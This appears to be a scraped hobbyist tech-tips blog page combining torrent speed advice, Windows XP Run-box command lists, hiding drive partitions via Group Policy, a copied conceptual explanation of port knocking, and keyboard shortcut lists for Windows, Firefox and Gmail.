In order to apply these tips you must know your maximum up- and download speed. You can test your bandwidth over here (stop all download activity while testing). Settings 1-4 can be found in the options, settings or preference tab of most torrent clients. 1. Maximum upload speedProbably the most important setting there is. Your connection is (sort of) like a pipeline, if you use you maximum upload speed there’s not enough space left for the files you are downloading. So you have to cap your upload speed. Use the following formula to determine your optimal upload speed… 80% of your maximum upload speed so if your maximum upload speed is 40 kB/s, the optimal upload rate is 32kB/s But keep seeding!

How to Hide the Partitions?

  • This trick is for all those people who want to hide tons of data into their box. So here it is, if you have very important data in your hard drive placed in some partition which you do not want anybody to access then this trick is only for you!
  • Just click on start>run type gpedit.msc, now navigate through user configuration> administrative templates > windows components> windows explorer, now double click on “Hide these specified drives in My Computer” modify it accordingly then just below you will find another option “Prevent access to drives from My Computer”, double click on this option and modify it accordingly.
  • To make it visible again select "disable" by double clicking on the “Hide these specified drives in My Computer” option.
  • You can access all these programs by going through START/RUN.


    SQL Client Configuration - cliconfg


    System Configuration Editor - sysedit


    System Configuration Utility - msconfig


    System File Checker Utility (Scan Immediately)- sfc /scannow


    System File Checker Utility (Scan Once At Next Boot)- sfc /scanonce


    System File Checker Utility (Scan On Every Boot) - sfc /scanboot


    System File Checker Utility (Return to Default Setting)- sfc /revert


    System File Checker Utility (Purge File Cache)- sfc /purgecache


    System File Checker Utility (Set Cache Size to size x)-sfc/cachesize=x


    System Information - msinfo32.


    Task Manager – taskmgr


    System Properties - sysdm.cpl


    Task Manager – taskmgr


    TCP Tester - tcptest


    Telnet Client - telnet


    Tweak UI (if installed) - tweakui


    User Account Management- nusrmgr.cpl


    Utility Manager - utilman


    Windows Address Book - wab


    Windows Address Book Import Utility - wabmig


    Windows Backup Utility (if installed)- ntbackup


    Windows Explorer - explorer


    Windows Firewall- firewall.cpl


    Windows Magnifier- magnify


    Windows Management Infrastructure - wmimgmt.msc


    Windows Media Player - wmplayer


    Windows Messenger - msmsgs


    Windows Picture Import Wizard (need camera connected)- wiaacmgr


    Windows System Security Tool – syskey


    Windows Update Launches - wupdmgr


    Windows Version (to show which version of windows)- winver


    Windows XP Tour Wizard - tourstart


    Wordpad - write


    Password Properties - password.cpl


    Performance Monitor - perfmon.msc


    Phone and Modem Options - telephon.cpl


    Phone Dialer - dialer


    Pinball Game - pinball


    Power Configuration - powercfg.cpl


    Printers and Faxes - control printers


    Printers Folder – printers


    Private Character Editor - eudcedit


    Quicktime (If Installed)- QuickTime.cpl


    Real Player (if installed)- realplay


    Regional Settings - intl.cpl


    Registry Editor - regedit


    Registry Editor - regedit32


    Remote Access Phonebook - rasphone


    Remote Desktop - mstsc


    Removable Storage - ntmsmgr.msc


    Removable Storage Operator Requests - ntmsoprq.msc


    Resultant Set of Policy (XP Prof) - rsop.msc


    Scanners and Cameras - sticpl.cpl


    Scheduled Tasks - control schedtasks


    Security Center - wscui.cpl


    Services - services.msc


    Shared Folders - fsmgmt.msc


    Shuts Down Windows - shutdown


    Sounds and Audio - mmsys.cpl


    Spider Solitare Card Game - spider


    Malicious Software Removal Tool - mrt


    Microsoft Access (if installed) - access.cpl


    Microsoft Chat - winchat


    Microsoft Excel (if installed) - excel


    Microsoft Frontpage (if installed)- frontpg


    Microsoft Movie Maker - moviemk


    Microsoft Paint - mspaint


    Microsoft Powerpoint (if installed)- powerpnt


    Microsoft Word (if installed)- winword


    Microsoft Syncronization Tool - mobsync


    Minesweeper Game - winmine


    Mouse Properties - control mouse


    Mouse Properties - main.cpl


    Nero (if installed)- nero


    Netmeeting - conf


    Network Connections - control netconnections


    Network Connections - ncpa.cpl


    Network Setup Wizard - netsetup.cpl


    Notepad - notepad


    Nview Desktop Manager (If Installed)- nvtuicpl.cpl


    Object Packager - packager


    ODBC Data Source Administrator- odbccp32.cpl


    On Screen Keyboard - osk


    Opens AC3 Filter (If Installed) - ac3filter.cpl


    Outlook Express - msimn


    Paint – pbrush



    Keyboard Properties - control keyboard



    IP Configuration (Display Connection Configuration) - ipconfi/all


    IP Configuration (Display DNS Cache Contents)- ipconfig /displaydns


    IP Configuration (Delete DNS Cache Contents)- ipconfig /flushdns


    IP Configuration (Release All Connections)- ipconfig /release


    IP Configuration (Renew All Connections)- ipconfig /renew


    IP Configuration(RefreshesDHCP&Re-RegistersDNS)-ipconfig/registerdns


    IP Configuration (Display DHCP Class ID)- ipconfig/showclassid


    IP Configuration (Modifies DHCP Class ID)- ipconfig /setclassid


    Java Control Panel (If Installed)- jpicpl32.cpl


    Java Control Panel (If Installed)- javaws


    Local Security Settings - secpol.msc


    Local Users and Groups - lusrmgr.msc


    Logs You Out Of Windows - logoff.....


    Accessibility Controls - access.cpl


    Accessibility Wizard - accwiz


    Add Hardware - Wizardhdwwiz.cpl


    Add/Remove Programs - appwiz.cpl


    Administrative Tools control - admintools


    Adobe Acrobat (if installed) - acrobat


    Adobe Designer (if installed)- acrodist


    Adobe Distiller (if installed)- acrodist


    Adobe ImageReady (if installed)- imageready


    Adobe Photoshop (if installed)- photoshop


    Automatic Updates - wuaucpl.cpl


    Bluetooth Transfer Wizard – fsquirt


    Calculator - calc


    Certificate Manager - certmgr.msc


    Character Map - charmap


    Check Disk Utility - chkdsk


    Clipboard Viewer - clipbrd


    Command Prompt - cmd


    Component Services - dcomcnfg


    Computer Management - compmgmt.msc


    Control Panel - control


    Date and Time Properties - timedate.cpl


    DDE Shares - ddeshare


    Device Manager - devmgmt.msc


    Direct X Control Panel (If Installed)- directx.cpl


    Direct X Troubleshooter- dxdiag


    Disk Cleanup Utility- cleanmgr


    Disk Defragment- dfrg.msc


    Disk Management- diskmgmt.msc


    Disk Partition Manager- diskpart


    Display Properties- control desktop


    Display Properties- desk.cpl


    Display Properties (w/Appearance Tab Preselected)- control color


    Dr. Watson System Troubleshooting Utility- drwtsn32


    Driver Verifier Utility- verifier


    Event Viewer- eventvwr.msc


    Files and Settings Transfer Tool- migwiz


    File Signature Verification Tool- sigverif


    Findfast- findfast.cpl


    Firefox (if installed)- firefox


    Folders Properties- control folders


    Fonts- control fonts


    Fonts Folder- fonts


    Free Cell Card Game- freecell


    Game Controllers- joy.cpl


    Group Policy Editor (XP Prof)- gpedit.msc


    Hearts Card Game- mshearts


    Help and Support- helpctr


    HyperTerminal- hypertrm


    Iexpress Wizard- iexpress


    Indexing Service- ciadv.msc


    Internet Connection Wizard- icwconn1


    Internet Explorer- iexplore


    Internet Setup Wizard- inetwiz


    Internet Properties- inetcpl.cpl


    Port Knocking

    by sumit | 4:29 AM in | comments (1)

    In computing, port knocking is a method of externally opening ports on a firewall by generating a connection attempt on a set of prespecified closed ports. Once a correct sequence of connection attempts is received the firewall rules are dynamically modified to allow the host which sent the connection attempts to connect over specified port(s).


    This is usually implemented by configuring a daemon to watch the firewall log file for said connection attempts then modify the firewall configuration accordingly. It can also be performed by a process examining packets at a higher level (using packet capture interfaces such as Pcap), allowing the use of already "open" TCP ports to be used within the knock sequence. Port knocking is most often used to determine access to port 22, the Secure Shell (SSH) port. The port "knock" itself is similar to a secret handshake and can consist of any number of TCP, UDP or even sometimes ICMP and other protocol packets to numbered ports on the destination machine. The complexity of the knock can be anything from a simple ordered list (e.g. TCP port 1000, TCP port 2000, UDP port 3000) to a complex time-dependent, source-IP-based and other-factor-based encrypted hash.


    A port knock setup takes next to no resources and very simple software to implement. A portknock daemon on the firewall machine listens for packets on certain ports (either via the firewall log or by packet capture). The client user would carry an extra utility, which could be as simple as netcat or a modified ping program or as complicated as a full hash-generator, and use that before they attempted to connect to the machine in the usual way.

    Most portknocks are stateful systems in that if the first part of the "knock" has been received successfully, an incorrect second part would not allow the remote user to continue and, indeed, would give the remote user no clue as to how far through the sequence they failed. Usually the only indication of failure is that, at the end of the knock sequence, the port expected to be open is not opened. No packets are sent to the remote user at any time.
    While this technique for securing access to remote network daemons has not yet been widely adopted by the security community, it has been integrated in newer rootkits.

    Step 3
    Enlarge
    Step 3
    Step 4
    Enlarge
    Step 4

    How Port knocking works in theory



    Step 1 (A) Client cannot connect to application listening on port n; (B) Client cannot establish connection to any port.

    Step 2 (1,2,3,4) Client tries to connect to a well-defined set of ports in sequence by sending certain packets; Client has prior knowledge of the port knocking daemon and its configuration, but receives no acknowledgement during this phase because firewall rules preclude any response.

    Step 3 (A) Server process (a port knocking daemon) intercepts connection attempts and interprets (decrypts and decodes) them as comprising an authentic "port knock"; server carries out specific task based on content of port knock, such as opening port n to the client.

    Step 4 (A) Client connects to port n and authenticates using application’s regular mechanism.


    Benefits of port knocking




    Consider that, if an external attacker did not know the port knock sequence, even the simplest of sequences would require a massive brute force effort in order to be discovered. A three-knock simple TCP sequence (e.g. port 1000, 2000, 3000) would require an attacker without prior knowledge of the sequence to test every combination of three ports in the range 1-65535, and then to scan each port in between to see if anything had opened. As a stateful system, the port would not open until after the correct three-digit sequence had been received in order, without other packets in between.

    That equates to approximately 655354 packets in order to obtain and detect a single successful opening. That's approximately 18,445,618,199,572,250,625 or 18 million million million packets. On the average attempt it would take approximately 9 million million million packets to successfully open a single, simple three-port TCP-only knock by brute force. This is made even more impractical when knock attempt-limiting is used to stop brute force attacks, longer and more complex sequences are used and cryptographic hashes are used as part of the knock.

    When a port knock is successfully used to open a port, the firewall rules are generally only opened to the IP address that supplied the correct knock. This is similar to only allowing a certain IP whitelist to access a service but is also more dynamic. An authorised user situated anywhere in the world would be able to open the port he is interested in to only the IP that he is using without needing help from the server administrator. He would also be able to "close" the port once he had finished, or the system could be set up to use a timeout mechanism, to ensure that once he changes IP's, only the IP's necessary are left able to contact the server. Because of port knocking's stateful behaviour, several users from different source IP addresses can simultaneously be at varying levels of the port knock. Thus it is possible to have a genuine user with the correct knock let through the firewall even in the middle of a port attack from multiple IP's (assuming the bandwidth of the firewall is not completely swamped). To all other IP addresses, the ports still appear closed and there is no indication that there are other users who have successfully opened ports and are using them.

    Using cryptographic hashes inside the port knock sequence can mean that even sniffing the network traffic in and out of the source and target machines is ineffective against discovering the port knock sequence or using traffic replay attacks to repeat prior port knock sequences. Even if somebody did manage to guess, steal or sniff the port knock and successfully use it to gain access to a port, the usual port security mechanisms are still in place, along with whatever service authentication was running on the opened ports.

    The software required, either at the server or client end, is minimal and can in fact be implemented as simply as a shell script for the server or a Windows batch file and a standard Windows command line utility for the client. Overhead in terms of traffic, CPU and memory consumption is at an absolute minimum. Port knock daemons also tend to be so simple that any sort of vulnerability is obvious and the code is very easily auditable. With a portknock system in place on ports such as the SSH port, it can prevent brute force password attacks on logins. The SSH daemon need not even wake up as any attempt that is made without the correct portknock will bounce harmlessly off the TCP/IP stack rather than the SSH authentication. As far as any attacker is concerned, there is no daemon running on that port at all until he manages to correctly knock on the port. The system is completely customisable and not limited to opening specific ports or, indeed, opening ports at all. Usually a knock sequence description is tied with an action, such as running a shell script, so when a specific sequence is detected by the port knock daemon, the relevant shell script is run. This could add firewall rules to open ports or do anything else that was possible in a shell script. Many portknocks can be used on a single machine to perform many different actions, such as opening or closing different ports.

    Due to the fact that the ports appear closed at all times until a user knowing the correct knock uses it, port knocking can help cut down not only on brute force password attacks and their associated log spam but also protocol vulnerability exploits. If an exploit was discovered that could compromise SSH daemons in their default configuration, having a port knock on that SSH port could mean that the SSH daemon may not be compromised in the time before it was updated. Only authorised users would have the knock and therefore only authorised users would be able to contact the SSH server in any way. Thus, random attempts on SSH servers by worms and viruses trying to exploit the vulnerability would not reach the vulnerable SSH server at all, giving the administrator a chance to update or patch the software. Although not a complete protection, port knocking would certainly be another level of defense against random attacks and, properly implemented, could even stop determined, targeted attacks.

    Port knocking generally has some disregard in the security world, given that early implementations basically consisted of a number of ports that had to be hit in order. However, the best of modern portknock systems are much more complex, some using highly secure cryptographic hashes in order to defeat the most common attacks (such as packet sniffing and packet replay). Additionally, portknock systems can include blacklists, whitelists and dynamic attack responses as can any internet service, however, even the simplest of port knocks controls access to a system before attackers are able to hit a service that allocates memory, CPU time or other significant resources and also acts as a barrier against brute-force attempts, automated vulnerability exploits, etc. Also, port knocking does not generally lower the security of a system overall. Indeed, it provides another layer of security for minimal overhead. In a worst case scenario however, the port knocking software introduced a new security problem or lowers security due to risk compensation.


    i liked to share this information its really Knowledgeable

    http://en.wikipedia.org/wiki/Port_knocking

    Windows XP has a hidden sound track which plays as background music during Windows XP installation process, but most people can’t hear this music because they have a sound card that does not have drivers preinstalled on XP .

    There are 2 ways by which you can find this hidden sound track:

    1.Go to start->search.Search for title.wma .But remember to include hidden files and folders in your search.

    2.Navigate to C:\Windows\system32\oobe\images, go to Tools > Folder Options > View, check Show Hidden Files and Folders options and then uncheck Hide Protected Operating System Files. You will now notice a file called title.wma, that is the hidden sound track.

    This screenshot will help you out.

    Hidden Sound track in Windows Xp - The Ethical Hacking

    • Shift + F10 right-clicks.
    • Win + L (XP Only): Locks keyboard. Similar to Lock Workstation.
    • Win + F or F3: Open Find dialog. (All Files) F3 may not work in some applications which use F3 for their own find dialogs.
    • Win + Control + F: Open Find dialog. (Computers)
    • Win + U: Open Utility Manager.
    • Win + F1: Open Windows help.
    • Win + Pause: Open System Properties dialog.
    • Win + Tab: Cycle through taskbar buttons. Enter clicks, AppsKey or Shift + F10 right-clicks.
    • Win + Shift + Tab: Cycle through taskbar buttons in reverse.
    • Alt + Tab: Display CoolSwitch. More commonly known as the AltTab dialog.
    • Alt + Shift + Tab: Display CoolSwitch; go in reverse.
    • Alt + Escape: Send active window to the bottom of the z-order.
    • Alt + Shift + Escape: Activate the window at the bottom of the z-order.
    • Alt + F4: Close active window; or, if all windows are closed, open shutdown dialog.
    • Shift while a CD is loading: Bypass AutoPlay.
    • Shift while login: Bypass startup folder. Only those applications will be ignored which are in the startup folder, not those started from the registry (Microsoft\Windows\CurrentVersion\Run\)
    • Ctrl + Alt + Delete or Ctrl + Alt + NumpadDel (Both NumLock states): Invoke the Task Manager or NT Security dialog.
    • Ctrl + Shift + Escape (2000/XP ) or (Ctrl + Alt + NumpadDot) : Invoke the task manager. On earlier OSes, acts like Ctrl + Escape.
    • Printscreen: Copy screenshot of current screen to clipboard.
    • Alt + Printscreen: Copy screenshot of current active window to clipboard.
    • Ctrl + Alt + Down Arrow: Invert screen. Untested on OSes other than XP.
    • Ctrl + Alt + Up Arrow: Undo inversion.
    • Win + B : Move focus to systray icons.



    2.) Generic





    • Ctrl + C or Ctrl + Insert: Copy.
    • Ctrl + X or Shift + Delete: Cut.
    • Ctrl + V or Shift + Insert: Paste/Move.
    • Ctrl + N: New... File, Tab, Entry, etc.
    • Ctrl + S: Save.
    • Ctrl + O: Open...
    • Ctrl + P: Print.
    • Ctrl + Z: Undo.
    • Ctrl + A: Select all.
    • Ctrl + F: Find...
    • Ctrl+W : to close the current window
    • Ctrl + F4: Close tab or child window.
    • F1: Open help.
    • F11: Toggle full screen mode.
    • Alt or F10: Activate menu bar.
    • Alt + Space: Display system menu. Same as clicking the icon on the titlebar.
    • Escape: Remove focus from current control/menu, or close dialog box.


    3.) Generic Navigation




    • Tab: Forward one item.
    • Shift + Tab: Backward one item.
    • Ctrl + Tab: Cycle through tabs/child windows.
    • Ctrl + Shift + Tab: Cycle backwards through tabs/child windows.
    • Enter: If a button's selected, click it, otherwise, click default button.
    • Space: Toggle items such as radio buttons or checkboxes.
    • Alt + (Letter): Activate item corresponding to (Letter). (Letter) is the underlined letter on the item's name.
    • Ctrl + Left: Move cursor to the beginning of previous word.
    • Ctrl + Right: Move cursor to the beginning of next word.
    • Ctrl + Up: Move cursor to beginning of previous paragraph. This and all subsequent Up/Down hotkeys in this section have only been known to work in RichEdit controls.
    • Ctrl + Down: Move cursor to beginning of next paragraph.
    • Shift + Left: Highlight one character to the left.
    • Shift + Right: Highlight one character to the right.
    • Shift + Up: Highlight from current cursor position, to one line up.
    • Shift + Down: Highlight from current cursor position, to one line down.
    • Ctrl + Shift + Left: Highlight to beginning of previous word.
    • Ctrl + Shift + Right: Highlight to beginning of next word.
    • Ctrl + Shift + Up: Highlight to beginning of previous paragraph.
    • Ctrl + Shift + Down: Highlight to beginning of next paragraph.
    • Home: Move cursor to top of a scrollable control.
    • End: Move cursor to bottom of a scrollable control.


    4.) Generic File Browser




    • Arrow Keys: Navigate.
    • Shift + Arrow Keys: Select multiple items.
    • Ctrl + Arrow Keys: Change focus without changing selection. "Focus" is the object that will run on Enter. Space toggles selection of the focused item.
    • (Letter): Select first found item that begins with (Letter).
    • BackSpace: Go up one level to the parent directory.
    • Alt + Left: Go back one folder.
    • Alt + Right: Go forward one folder.
    • Enter: Activate (Double-click) selected item(s).
    • Alt + Enter: View properties for selected item.
    • F2: Rename selected item(s).
    • Ctrl + NumpadPlus: In a Details view, resizes all columns to fit the longest item in each one.
    • Delete: Delete selected item(s).
    • Shift + Delete: Delete selected item(s); bypass Recycle Bin.
    • Ctrl while dragging item(s): Copy.
    • Ctrl + Shift while dragging item(s): Create shortcut(s).
    • In tree pane, if any:
    • Left: Collapse the current selection if expanded, or select the parent folder.
    • Right: Expand the current selection if collapsed, or select the first subfolder.
    • NumpadAsterisk: Expand currently selected directory and all subdirectories. No undo.
    • NumpadPlus: Expand currently selected directory.
    • NumpadMinus: Collapse currently selected directory.


    5.) Accessibility




    • Right Shift for eight seconds: Toggle FilterKeys on and off. FilterKeys must be enabled.
    • Left Alt + Left Shift + PrintScreen: Toggle High Contrast on and off. High Contrast must be enabled.
    • Left Alt + Left Shift + NumLock: Toggle MouseKeys on and off. MouseKeys must be enabled.
    • NumLock for five seconds: Toggle ToggleKeys on and off. ToggleKeys must be enabled.
    • Shift five times: Toggle StickyKeys on and off. StickyKeys must be enabled.
    • 6.) Microsoft Natural Keyboard with IntelliType Software Installed
    • Win + L: Log off Windows.
    • Win + P: Open Print Manager.
    • Win + C: Open control panel.
    • Win + V: Open clipboard.
    • Win + K: Open keyboard properties.
    • Win + I: Open mouse properties.
    • Win + A: Open Accessibility properties.
    • Win + Space: Displays the list of Microsoft IntelliType shortcut keys.
    • Win + S: Toggle CapsLock on and off.


    7.) Remote Desktop Connection Navigation




    • Ctrl + Alt + End: Open the NT Security dialog.
    • Alt + PageUp: Switch between programs.
    • Alt + PageDown: Switch between programs in reverse.
    • Alt + Insert: Cycle through the programs in most recently used order.
    • Alt + Home: Display start menu.
    • Ctrl + Alt + Break: Switch the client computer between a window and a full screen.
    • Alt + Delete: Display the Windows menu.
    • Ctrl + Alt + NumpadMinus: Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing Alt + PrintScreen on a local computer.
    • Ctrl + Alt + NumpadPlus: Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PrintScreen on a local computer.


    8.) Mozilla Firefox Shortcuts




    • Ctrl + Tab or Ctrl + PageDown: Cycle through tabs.
    • Ctrl + Shift + Tab or Ctrl + PageUp: Cycle through tabs in reverse.
    • Ctrl + (1-9): Switch to tab corresponding to number.
    • Ctrl + N: New window.
    • Ctrl + T: New tab.
    • Ctrl + L or Alt + D or F6: Switch focus to location bar.
    • Ctrl + Enter: Open location in new tab.
    • Shift + Enter: Open location in new window.
    • Ctrl + K or Ctrl + E: Switch focus to search bar.
    • Ctrl + O: Open a local file.
    • Ctrl + W: Close tab, or window if there's only one tab open.
    • Ctrl + Shift + W: Close window.
    • Ctrl + S: Save page as a local file.
    • Ctrl + P: Print page.
    • Ctrl + F or F3: Open find toolbar.
    • Ctrl + G or F3: Find next...
    • Ctrl + Shift + G or Shift + F3: Find previous...
    • Ctrl + B or Ctrl + I: Open Bookmarks sidebar.
    • Ctrl + H: Open History sidebar.
    • Escape: Stop loading page.
    • Ctrl + R or F5: Reload current page.
    • Ctrl + Shift + R or Ctrl + F5: Reload current page; bypass cache.
    • Ctrl + U: View page source.
    • Ctrl + D: Bookmark current page.
    • Ctrl + NumpadPlus or Ctrl + Equals (+/=): Increase text size.
    • Ctrl + NumpadMinus or Ctrl + Minus: Decrease text size.
    • Ctrl + Numpad0 or Ctrl + 0: Set text size to default.
    • Alt + Left or Backspace: Back.
    • Alt + Right or Shift + Backspace: Forward.
    • Alt + Home: Open home page.
    • Ctrl + M: Open new message in integrated mail client.
    • Ctrl + J: Open Downloads dialog.
    • F6: Switch to next frame. You must have selected something on the page already, e.g. by use of Tab.
    • Shift + F6: Switch to previous frame.
    • Apostrophe ('): Find link as you type.
    • Slash (/): Find text as you type.


    9.) GMail




    • Note: Must have "keyboard shortcuts" on in settings.
    • C: Compose new message.
    • Shift + C: Open new window to compose new message.
    • Slash (/): Switch focus to search box.
    • K: Switch focus to the next most recent email. Enter or "O" opens focused email.
    • J: Switch focus to the next oldest email.
    • N: Switch focus to the next message in the "conversation." Enter or "O" expands/collapses messages.
    • P: Switch focus to the previous message.
    • U: Takes you back to the inbox and checks for new mail.
    • Y: Various actions depending on current view:
    • Has no effect in "Sent" and "All Mail" views.
    • Inbox: Archive email or message.
    • Starred: Unstar email or message.
    • Spam: Unmark as spam and move back to "Inbox."
    • Trash: Move back to "Inbox."
    • Any label: Remove the label.
    • X: "Check" an email. Various actions can be performed against all checked emails.
    • S: "Star" an email. Identical to the more familiar term, "flagging."
    • R: Reply to the email.
    • A: Reply to all recipients of the email.
    • F: Forward an email.
    • Shift + R: Reply to the email in a new window.
    • Shift + A: Reply to all recipients of the email in a new window.
    • Shift + F: Forward an email in a new window.
    • Shift + 1 (!): Mark an email as spam and remove it from the inbox.
    • G then I: Switch to "Inbox" view.
    • G then S: Switch to "Starred" view.
    • G then A: Switch to "All Mail" view.
    • G then C: Switch to "Contacts" view.
    • G then S: Switch to "Drafts" view.



    10.) List of F1-F9 Key Commands for the Command Prompt




    • F1 / right arrow: Repeats the letters of the last command line, one by one.
    • F2: Displays a dialog asking user to "enter the char to copy up to" of the last command line
    • F3: Repeats the last command line
    • F4: Displays a dialog asking user to "enter the char to delete up to" of the last command line
    • F5: Goes back one command line
    • F6: Enters the traditional CTRL+Z (^z)
    • F7: Displays a menu with the command line history
    • F8: Cycles back through previous command lines (beginning with most recent)
    • F9: Displays a dialog asking user to enter a command number, where 0 is for first command line entered.
    • Alt+Enter: toggle fullScreen mode.
    • up/down: scroll thru/repeat previous entries
    • Esc: delete line

    $UM!T(Fainted brain)

    Full Codes. Kindly Add if U know more !



    Accessibility Controls

    access.cpl

    Add Hardware Wizard

    hdwwiz.cpl

    Add/Remove Programs

    appwiz.cpl

    Administrative Tools

    control admintools

    Automatic Updates

    wuaucpl.cpl

    Bluetooth Transfer Wizard

    fsquirt

    Calculator

    calc

    Certificate Manager

    certmgr.msc

    Character Map

    charmap

    Check Disk Utility

    chkdsk

    Clipboard Viewer

    clipbrd

    Command Prompt

    cmd

    Component Services

    dcomcnfg

    Computer Management

    compmgmt.msc

    timedate.cpl

    ddeshare

    Device Manager

    devmgmt.msc

    Direct X Control Panel (If Installed)*

    directx.cpl

    Direct X Troubleshooter

    dxdiag

    Disk Cleanup Utility

    cleanmgr

    Disk Defragment

    dfrg.msc

    Disk Management

    diskmgmt.msc

    Disk Partition Manager

    diskpart

    Display Properties

    control desktop

    Display Properties

    desk.cpl

    Display Properties (w/Appearance Tab Preselected)

    control color

    Dr. Watson System Troubleshooting Utility

    drwtsn32

    Driver Verifier Utility

    verifier

    Event Viewer

    eventvwr.msc

    File Signature Verification Tool

    sigverif

    Findfast

    findfast.cpl

    Folders Properties

    control folders

    Fonts

    control fonts

    Fonts Folder

    fonts

    Free Cell Card Game

    freecell

    Game Controllers

    joy.cpl

    Group Policy Editor (XP Prof)

    gpedit.msc

    Hearts Card Game

    mshearts

    Iexpress Wizard

    iexpress

    Indexing Service

    ciadv.msc

    Internet Properties

    inetcpl.cpl

    IP Configuration (Display Connection Configuration)

    ipconfig /all

    IP Configuration (Display DNS Cache Contents)

    ipconfig /displaydns

    IP Configuration (Delete DNS Cache Contents)

    ipconfig /flushdns

    IP Configuration (Release All Connections)

    ipconfig /release

    IP Configuration (Renew All Connections)

    ipconfig /renew

    IP Configuration (Refreshes DHCP & Re-Registers DNS)

    ipconfig /registerdns

    IP Configuration (Display DHCP Class ID)

    ipconfig /showclassid

    IP Configuration (Modifies DHCP Class ID)

    ipconfig /setclassid

    Java Control Panel (If Installed)

    jpicpl32.cpl

    Java Control Panel (If Installed)

    javaws

    Keyboard Properties

    control keyboard

    Local Security Settings

    secpol.msc

    Local Users and Groups

    lusrmgr.msc

    Logs You Out Of Windows

    logoff

    Microsoft Chat

    winchat

    Minesweeper Game

    winmine

    Mouse Properties

    control mouse

    Mouse Properties

    main.cpl

    Network Connections

    control netconnections

    Network Connections

    ncpa.cpl

    Network Setup Wizard

    netsetup.cpl

    Notepad

    notepad

    Nview Desktop Manager (If Installed)

    nvtuicpl.cpl

    Object Packager

    packager

    ODBC Data Source Administrator

    odbccp32.cpl

    On Screen Keyboard

    osk

    Opens AC3 Filter (If Installed)

    ac3filter.cpl

    Password Properties

    password.cpl

    Performance Monitor

    perfmon.msc

    Performance Monitor

    perfmon

    Phone and Modem Options

    telephon.cpl

    Power Configuration

    powercfg.cpl

    Printers and Faxes

    control printers

    Printers Folder

    printers

    Private Character Editor

    eudcedit

    Quicktime (If Installed)

    QuickTime.cpl

    Regional Settings

    intl.cpl

    Registry Editor

    regedit

    Registry Editor

    regedit32

    Remote Desktop

    mstsc

    Removable Storage

    ntmsmgr.msc

    Removable Storage Operator Requests

    ntmsoprq.msc

    Resultant Set of Policy (XP Prof)

    rsop.msc

    Scanners and Cameras

    sticpl.cpl

    Scheduled Tasks

    control schedtasks

    Security Center

    wscui.cpl

    Services

    services.msc

    Shared Folders

    fsmgmt.msc

    Shuts Down Windows

    shutdown

    Sounds and Audio

    mmsys.cpl

    Spider Solitare Card Game

    spider

    SQL Client Configuration

    cliconfg

    System Configuration Editor

    sysedit

    System Configuration Utility

    msconfig

    System File Checker Utility (Scan Immediately)

    sfc /scannow

    System File Checker Utility (Scan Once At Next Boot)

    sfc /scanonce

    System File Checker Utility (Scan On Every Boot)

    sfc /scanboot

    System File Checker Utility (Return to Default Setting)

    sfc /revert

    System File Checker Utility (Purge File Cache)

    sfc /purgecache

    System File Checker Utility (Set Cache Size to size x)

    sfc /cachesize=x

    System Properties

    sysdm.cpl

    Task Manager

    taskmgr

    Telnet Client

    telnet

    User Account Management

    nusrmgr.cpl

    Utility Manager

    utilman

    Windows Firewall

    firewall.cpl

    Windows Magnifier

    magnify

    Windows Management Infrastructure

    wmimgmt.msc

    Windows System Security Tool

    syskey

    Windows Update Launches

    wupdmgr

    Windows XP Tour Wizard

    tourstart

    Wordpad

    write

    Run line commands can be very useful some times, its better to know them here are all the commands that i know u might find them usefull too Commands are same for Windows xp pro and home

    Run Line Commands


    These are GUI applications that can be opened from the run line.
    These applications are not located in the C:\windows\system32\ directory, the
    keys for these applications are located in the registry under:
    HKLM\software\microsoft\windows\currentversion\app paths
    BCKGZM.EXE - Backgammon
    CHKRZM.EXE - Checkers
    CONF.EXE - NetMeeting
    DIALER.EXE - Phone Dialer
    HELPCTR.EXE - Help and Support
    HRTZZM.EXE - Internet Hearts
    HYPERTRM.EXE - HyperTerminal
    ICWCONN1.EXE - Internet Connection Wizard
    IEXPLORE.EXE - Internet Explorer
    INETWIZ.EXE - Setup Your Internet Connection
    INSTALL.EXE - User's Folder
    MIGWIZ.EXE - File and Settings Transfer Wizard
    MOVIEMK.EXE - Windows Movie Maker
    MPLAYER2.EXE - Windows Media Player Version 6.4.09.1120
    MSCONFIG.EXE - System Configuration Utility
    MSIMN.EXE - Outlook Express
    MSINFO32.EXE - System Information
    MSMSGS.EXE - Windows Messenger
    MSN6.EXE - MSN Explorer
    PBRUSH.EXE - Paint
    PINBALL.EXE - Pinball
    RVSEZM.EXE - Reversi
    SHVLZM.EXE - Spades
    TABLE30.EXE - User's Folder
    WAB.EXE - Windows Address Book
    WABMIG.EXE - Address Book Import Tool
    WINNT32.EXE - User's Folder
    WMPLAYER.EXE - Windows Media Player
    WRITE.EXE - Wordpad

    These .EXE files reside in (c:\windows\system32\) or (c:\windows\) directory.
    ACCWIZ.EXE - Accessibility Wizard
    CALC.EXE - Calculator
    CHARMAP.EXE - Character Map
    CLEANMGR.EXE - Disk Space Cleanup Manager
    CLICONFG.EXE - SQL Client Configuration Utility
    CLIPBRD.EXE - Clipbook Viewer
    CLSPACK.EXE - Class Package Export Tool
    CMD.EXE - Command Line
    CMSTP.EXE - Connection Manager Profile Installer
    CONTROL.EXE - Control Panel
    DCOMCNFG.EXE - Component Services
    DDESHARE.EXE - DDE Share
    DRWATSON.EXE - Doctor Watson v1.00b
    DRWTSN32.EXE - Doctor Watson Settings
    DVDPLAY.EXE - DVD Player
    DXDIAG.EXE - DirectX Diagnostics
    EUDCEDIT.EXE - Private Character Editor
    EVENTVWR.EXE - Event Viewer
    EXPLORER.EXE - Windows Explorer
    FREECELL.EXE - Free Cell
    FXSCLNT.EXE - Fax Console
    FXSCOVER.EXE - Fax Cover Page Editor
    FXSEND.EXE - MS Fax Send Note Utility
    IEXPRESS.EXE - IExpress 2.0
    LOGOFF.EXE - System Logoff
    MAGNIFY.EXE - Microsoft Magnifier
    MMC.EXE - Microsoft Management Console
    MOBSYNC.EXE - Microsoft Synchronization Manager
    MPLAY32.EXE - Windows Media Player version 5.1
    MSHEARTS.EXE - Hearts
    MSPAINT.EXE - Paint
    MSTSC.EXE - Remote Desktop Connection
    NARRATOR.EXE - Microsoft Narrator
    NETSETUP.EXE - Network Setup Wizard
    NOTEPAD.EXE - Notepad
    NSLOOKUP.EXE - NSLookup Application
    NTSD.EXE - Symbolic Debugger for Windows 2000
    ODBCAD32.EXE - ODBC Data Source Administrator
    OSK.EXE - On Screen Keyboard
    OSUNINST.EXE - Windows Uninstall Utility
    PACKAGER.EXE - Object Packager
    PERFMON.EXE - Performance Monitor
    PROGMAN.EXE - Program Manager
